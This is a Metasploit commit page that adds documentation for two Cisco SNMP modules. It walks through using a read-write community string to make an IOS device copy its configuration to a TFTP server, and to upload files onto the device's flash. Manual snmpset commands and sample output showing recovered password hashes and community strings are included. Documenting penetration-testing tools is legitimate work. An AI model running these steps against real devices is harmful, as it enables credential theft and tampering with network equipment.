Skip to content

Commit 6660b18

Browse files
bcolesbcoles
committed
Land rapid7#10800, Add docs for auxiliary/scanner/snmp/ Cisco modules
2 parents 506bdd5 + 90768e2 commit 6660b18

File tree

2 files changed

+192
-0
lines changed

2 files changed

+192
-0
lines changed

‎documentation/modules/auxiliary/scanner/snmp/cisco_config_tftp.md

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
## Vulnerable Application
2+
3+
Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP.
4+
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
5+
feature of IOS and many other networking devices, and is part of an administrator functionality.
6+
A read-write community string is required, as well as a tftp server (metasploit includes one).
7+
After the config has been copied, the SNMP paramters are deleted.
8+
9+
## Verification Steps
10+
11+
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
12+
2. Start msfconsole
13+
3. Do: ```use auxiliary/scanner/snmp/cisco_config_tftp```
14+
4. Do: ```set COMMUNITY [read-write snmp]```
15+
5. Do: ```set rhosts [ip]```
16+
6. Do: ```run```
17+
18+
## Options
19+
20+
**COMMUNITY**
21+
22+
The SNMP community string to use which must be read-write. Default is `public`.
23+
24+
## Scenarios
25+
26+
### Cisco UC520-8U-4FXO-K9 running IOS 12.4
27+
28+
```
29+
msf5 > setg rhosts 2.2.2.2
30+
rhosts => 2.2.2.2
31+
msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
32+
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
33+
community => private
34+
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run
35+
36+
[*] Starting TFTP server...
37+
[*] Scanning for vulnerable targets...
38+
[*] Trying to acquire configuration from 2.2.2.2...
39+
[*] Scanned 1 of 1 hosts (100% complete)
40+
[*] Providing some time for transfers to complete...
41+
[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
42+
[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
43+
[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
44+
[+] 2.2.2.2:161 SNMP Community (RO): public
45+
[+] 2.2.2.2:161 SNMP Community (RW): private
46+
[*] Shutting down the TFTP service...
47+
[*] Auxiliary module execution completed
48+
```
49+
50+
### Manual Interaction
51+
This process can also be executed manually utilizing Metasploit's TFTP server.
52+
Cisco's [documentation](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
53+
was utilized to create this process.
54+
55+
1. Start the TFTP server
56+
57+
```
58+
msf5 > use auxiliary/server/tftp
59+
msf5 auxiliary(server/tftp) > run
60+
[*] Auxiliary module running as background job 0.
61+
msf5 auxiliary(server/tftp) >
62+
[*] Starting TFTP server on 0.0.0.0:69...
63+
[*] Files will be served from /tmp
64+
[*] Uploaded files will be saved in /tmp
65+
```
66+
67+
2. Execute the SNMP commands. An integer is required to group the requests together, `666` is used in this example.
68+
69+
```
70+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
71+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
72+
73+
iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
74+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
75+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
76+
77+
iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
78+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
79+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
80+
81+
iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
82+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
83+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
84+
85+
iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
86+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
87+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
88+
89+
iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
90+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
91+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
92+
93+
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1
94+
```
95+
96+
3. At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove `666` from the system.
97+
98+
```
99+
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
100+
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
101+
102+
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6
103+
```
104+
105+
4. Confirm we have our config file
106+
107+
```
108+
msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
109+
[*] exec: ls -lah /tmp/backup_config
110+
111+
-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config
112+
```
113+
114+
## Confirming using NMAP
115+
116+
Utilizing the [snmp-ios-config](https://nmap.org/nsedoc/scripts/snmp-ios-config.html) script
117+
118+
```
119+
nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
120+
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
121+
Nmap scan report for 192.168.2.239
122+
Host is up (0.0034s latency).
123+
124+
PORT STATE SERVICE
125+
161/udp open snmp
126+
| snmp-ios-config:
127+
| !
128+
| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
129+
| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
130+
| !
131+
| version 12.4
132+
| parser config cache interface
133+
| no service pad
134+
| service timestamps debug datetime msec
135+
| service timestamps log datetime msec
136+
| no service password-encryption
137+
| service internal
138+
| service compress-config
139+
| service sequence-numbers
140+
| !
141+
| hostname UC520
142+
...sip...
143+
```

‎documentation/modules/auxiliary/scanner/snmp/cisco_upload_file.md

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
## Vulnerable Application
2+
3+
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
4+
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
5+
feature of IOS and many other networking devices, and is part of an administrator functionality.
6+
A read-write community string is required, as well as a tftp server (metasploit includes one).
7+
The file will be saved to `flash:`.
8+
9+
## Verification Steps
10+
11+
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
12+
2. Start msfconsole
13+
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
14+
4. Do: ```set COMMUNITY [read-write snmp]```
15+
5. Do: ```set rhosts [ip]```
16+
6. Do: ```set source [file]```
17+
7. Do: ```run```
18+
19+
## Options
20+
21+
**COMMUNITY**
22+
23+
The SNMP community string to use which must be read-write. Default is `public`.
24+
25+
**SOURCE**
26+
27+
The location of the source file to be uploaded to the Cisco device.
28+
29+
## Scenarios
30+
31+
### Cisco UC520-8U-4FXO-K9 running IOS 12.4
32+
33+
```
34+
msf5 > setg rhosts 2.2.2.2
35+
rhosts => 2.2.2.2
36+
msf5 > use auxiliary/scanner/snmp/cisco_upload_file
37+
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
38+
source => /tmp/backup_config2
39+
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private
40+
community => private
41+
msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
42+
43+
[*] Starting TFTP server...
44+
[*] Copying file backup_config2 to 2.2.2.2...
45+
[*] Scanned 1 of 1 hosts (100% complete)
46+
[*] Providing some time for transfers to complete...
47+
[*] Shutting down the TFTP service...
48+
[*] Auxiliary module execution completed
49+
```

0 commit comments

Comments
 (0)